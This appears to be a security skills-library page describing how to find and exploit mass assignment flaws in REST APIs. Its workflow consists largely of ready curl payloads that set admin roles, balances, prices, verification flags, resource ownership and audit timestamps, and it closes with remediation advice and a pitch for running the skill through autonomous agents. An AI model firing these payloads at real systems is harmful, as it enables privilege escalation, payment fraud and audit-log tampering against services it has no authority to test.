CG
SkillsExploiting Mass Assignment in Rest Apis
Start Free
Back to Skills Library
Application Security๐Ÿ”ด Advanced

Exploiting Mass Assignment in Rest Apis

Discover and exploit mass assignment vulnerabilities in REST APIs to escalate privileges, modify restricted fields, and bypass authorization controls by injecting unexpected parameters in API requests.

5 min read7 code examples

Prerequisites

  • Burp Suite or Postman for API request crafting and interception
  • Understanding of ORM auto-binding behavior in common frameworks
  • API documentation or endpoint discovery through reconnaissance
  • Multiple user accounts with different privilege levels for testing
  • Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)
  • Arjun or param-miner for hidden parameter discovery

Exploiting Mass Assignment in REST APIs

When to Use

  • When testing REST APIs that accept JSON input for creating or updating resources
  • During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)
  • When testing user registration, profile update, or account management endpoints
  • During bug bounty hunting on applications with CRUD API operations
  • When evaluating role-based access control implementation in API-driven applications

Prerequisites

  • Burp Suite or Postman for API request crafting and interception
  • Understanding of ORM auto-binding behavior in common frameworks
  • API documentation or endpoint discovery through reconnaissance
  • Multiple user accounts with different privilege levels for testing
  • Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)
  • Arjun or param-miner for hidden parameter discovery

Workflow

Step 1 โ€” Discover API Structure and Fields

# Examine API responses to identify all object fields
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# Response reveals fields: id, username, email, role, isAdmin, verified, balance

# Check API documentation for exposed schemas
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml

# Use Arjun for hidden parameter discovery
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"

# Examine create/update request body vs response body
# The response may contain more fields than the request sends
# Those extra fields are mass assignment candidates

Step 2 โ€” Test Privilege Escalation via Role Fields

# Inject role/admin fields in profile update
curl -X PUT http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","email":"test@test.com","role":"admin"}'

# Try common admin field names
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"isAdmin":true}'

curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'

# Test during registration
curl -X POST http://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'

Step 3 โ€” Test Financial and Business Logic Fields

# Modify price or balance fields
curl -X POST http://target.com/api/orders \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id":1,"quantity":1,"price":0.01}'

# Modify account balance
curl -X PATCH http://target.com/api/wallet \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"balance":999999}'

# Modify discount or coupon fields
curl -X POST http://target.com/api/checkout \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'

# Modify subscription tier
curl -X PATCH http://target.com/api/subscription \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"plan":"enterprise","price":0}'

Step 4 โ€” Test Verification and Status Fields

# Bypass email verification
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email_verified":true,"verified":true,"active":true}'

# Modify account status
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status":"active","banned":false,"suspended":false}'

# Modify ownership/organization
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'

Step 5 โ€” Test Relationship and Foreign Key Manipulation

# Change resource ownership
curl -X PATCH http://target.com/api/documents/123 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"owner_id":"admin-user-id"}'

# Assign to different group/team
curl -X PATCH http://target.com/api/projects/456 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"team_id":"privileged-team","access_level":"write"}'

# Modify created_at/updated_at for audit log manipulation
curl -X PATCH http://target.com/api/entries/789 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"created_at":"2020-01-01","created_by":"other-user-id"}'

Step 6 โ€” Automate Mass Assignment Testing

# Use Burp Intruder with field names wordlist
# Wordlist of common mass assignment fields:
# role, admin, isAdmin, is_admin, user_type, privilege, level
# verified, email_verified, active, banned, suspended
# balance, credits, price, discount, plan, tier
# owner_id, organization_id, team_id, group_id

# Python automation script
python3 mass_assignment_tester.py \
  --url http://target.com/api/users/me \
  --method PATCH \
  --token "Bearer USER_TOKEN" \
  --fields-file mass_assignment_fields.txt

# Nuclei mass assignment templates
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/mass-assignment.yaml

Key Concepts

ConceptDescription
Mass AssignmentORM auto-binding of request parameters to model attributes without restriction
AutobindingFramework feature that maps HTTP parameters directly to object properties
AllowlistServer-side list of permitted fields for update operations (strong_parameters in Rails)
DenylistList of forbidden fields (less secure than allowlist approach)
Hidden FieldsServer-managed fields (role, balance) not shown in forms but accepted by API
DTO (Data Transfer Object)Pattern using separate objects for input vs. database to prevent mass assignment
Parameter PollutionSending unexpected extra parameters alongside legitimate ones

Tools & Systems

ToolPurpose
Burp SuiteAPI request interception and parameter injection
PostmanAPI testing and collection-based mass assignment testing
ArjunHidden parameter discovery tool for API endpoints
param-minerBurp extension for discovering hidden parameters
OWASP ZAPAutomated API scanning with parameter injection
swagger-codegenGenerate API clients from OpenAPI specs for testing

Common Scenarios

  1. Admin Privilege Escalation โ€” Inject "role":"admin" or "isAdmin":true in profile update to gain administrative access
  2. Price Manipulation โ€” Modify price or discount fields in order creation endpoints to purchase items at reduced cost
  3. Email Verification Bypass โ€” Set email_verified:true during registration or profile update to bypass verification requirements
  4. Account Takeover โ€” Modify email or phone fields to attacker-controlled values, then trigger password reset
  5. Subscription Upgrade โ€” Inject plan:"enterprise" in subscription update to gain premium features without payment

Output Format

## Mass Assignment Vulnerability Report
- **Target**: http://target.com/api/users/me
- **Method**: PATCH
- **Framework**: Ruby on Rails (detected via X-Powered-By)

### Findings
| # | Endpoint | Injected Field | Original | Modified | Impact |
|---|----------|---------------|----------|----------|--------|
| 1 | PATCH /api/users/me | role | "user" | "admin" | Privilege Escalation |
| 2 | POST /api/orders | price | 99.99 | 0.01 | Financial Loss |
| 3 | PATCH /api/users/me | email_verified | false | true | Verification Bypass |

### Remediation
- Implement allowlist (strong_parameters) for all model update operations
- Use DTOs/ViewModels to decouple API input from database models
- Apply field-level authorization checks on sensitive attributes
- Log and alert on attempts to modify restricted fields

Verification Criteria

Confirm successful execution by validating:

  • [ ] All prerequisite tools and access requirements are satisfied
  • [ ] Each workflow step completed without errors
  • [ ] Output matches expected format and contains expected data
  • [ ] No security warnings or misconfigurations detected
  • [ ] Results are documented and evidence is preserved for audit

Compliance Framework Mapping

This skill supports compliance evidence collection across multiple frameworks:

  • SOC 2: CC6.1 (Logical Access), CC8.1 (Change Management)
  • ISO 27001: A.14.2 (Secure Development), A.14.1 (Security Requirements)
  • NIST 800-53: SA-11 (Developer Testing), SI-10 (Input Validation), SC-18 (Mobile Code)
  • OWASP LLM Top 10: LLM01 (Prompt Injection), LLM02 (Insecure Output)

Claw GRC Tip: When this skill is executed by a registered agent, compliance evidence is automatically captured and mapped to the relevant controls in your active frameworks.

Deploying This Skill with Claw GRC

Agent Execution

Register this skill with your Claw GRC agent for automated execution:

# Install via CLI
npx claw-grc skills add exploiting-mass-assignment-in-rest-apis

# Or load dynamically via MCP
grc.load_skill("exploiting-mass-assignment-in-rest-apis")

Audit Trail Integration

When executed through Claw GRC, every step of this skill generates tamper-evident audit records:

  • SHA-256 chain hashing ensures no step can be modified after execution
  • Evidence artifacts (configs, scan results, logs) are automatically attached to relevant controls
  • Trust score impact โ€” successful execution increases your agent's trust score

Continuous Compliance

Schedule this skill for recurring execution to maintain continuous compliance posture. Claw GRC monitors for drift and alerts when re-execution is needed.

Use with Claw GRC Agents

This skill is fully compatible with Claw GRC's autonomous agent system. Deploy it to any registered agent via MCP, and every execution will be logged in the tamper-evident audit trail.

// Load this skill in your agent
npx claw-grc skills add exploiting-mass-assignment-in-rest-apis
// Or via MCP
grc.load_skill("exploiting-mass-assignment-in-rest-apis")

Tags

mass-assignmentapi-securityprivilege-escalationrest-apiautobindingparameter-injectionowasp-api

Related Skills

Application Security

Testing API Security with OWASP Top 10

8mยทintermediate
API Security

Exploiting Broken Function Level Authorization

8mยทadvanced
Application Security

Performing GraphQL Security Assessment

8mยทintermediate
Application Security

Performing HTTP Parameter Pollution Attack

4mยทintermediate
Application Security

Testing for Broken Access Control

8mยทintermediate
API Security

Detecting Broken Object Property Level Authorization

6mยทintermediate

Skill Details

Domain
Application Security
Difficulty
advanced
Read Time
5 min
Code Examples
7

On This Page

When to UsePrerequisitesWorkflowKey ConceptsTools & SystemsCommon ScenariosOutput FormatMass Assignment Vulnerability ReportVerification CriteriaCompliance Framework MappingDeploying This Skill with Claw GRC

Deploy This Skill

Add this skill to your Claw GRC agent and start automating.

Get Started Free โ†’